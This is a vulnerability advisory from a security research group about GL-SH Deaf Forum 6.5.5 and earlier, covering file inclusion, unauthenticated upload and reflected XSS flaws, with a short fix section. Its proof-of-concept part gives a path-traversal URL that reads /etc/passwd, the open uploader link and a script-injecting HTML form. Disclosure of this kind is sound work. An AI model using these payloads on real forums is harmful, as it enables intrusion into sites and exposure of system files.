########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: GL-SH Deaf Forum <=6.5.5 Multiple Vulnerabilities
# Vendor: www.frank-karau.de
# Vulnerable Version: 6.5.5 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: www.bugreport.ir/?/46
###################################################################################

####################
1. Description:
####################
    Gl-SH Deaf board is programmed a free board in PHP, without My SQL, With 10 Designs and 5 languages.
####################
2. Vulnerabilities:
####################
    2.1. Local File Inclusion (LFI) in "/functions.php" in "FORUM_LANGUAGE" parameter.
        2.1.1. Exploit:
                        Check the exploit/POC section.
    2.2. File (image) Upload without premission.
        2.2.1. Exploit:
                        Check the exploit/POC section.
    2.3. Cross Site Scripting (XSS). Reflected XSS attack in "search.php".
        2.3.1. Exploit:
                        Check the exploit/POC section.

####################
3. Exploits/POCs:
####################
    Original Exploit URL: https://bugreport.ir/index.php?/46/exploit
    3.1. Local File Inclusion (LFI) in "/functions.php" in "FORUM_LANGUAGE" parameter.
        -------------
        LFI:
            https://[URL]/[Forum Path]/functions.php?FORUM_LANGUAGE=/../../../../../../../../../../etc/passwd
        -------------
    3.2. File (image) Upload with out premission.
        -------------
        Uploader link:
            https://[URL]/[Forum Path]/upload.php
        -------------
    3.3. Cross Site Scripting (XSS). Reflected XSS attack in "search.php".
        -------------
            <form action="https://[URL]/[Forum path]/search.php" method="post">
            <tr><td class=g>XSS: <small></td><tr>
            "<SCRIPT>alert(/BugReport.ir-XSS/.source)</SCRIPT>
            <br><tr><td class=g><INPUT TYPE="text" class="txt" NAME="search" SIZE="30" MAXLENGTH="100"><br/>
            <tr><td class=g><INPUT TYPE="RADIO" checked NAME="type" VALUE="themen">&nbsp;search only in topics</td></tr>
            <tr><td class=g><INPUT TYPE="RADIO" NAME="type" VALUE="beitraege">&nbsp;search in topics and answers</td></tr>
            <INPUT TYPE="SUBMIT" class="btn" NAME="submit" VALUE="submit"></td></tr>
        -------------
####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitized. check permission for upload page.
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com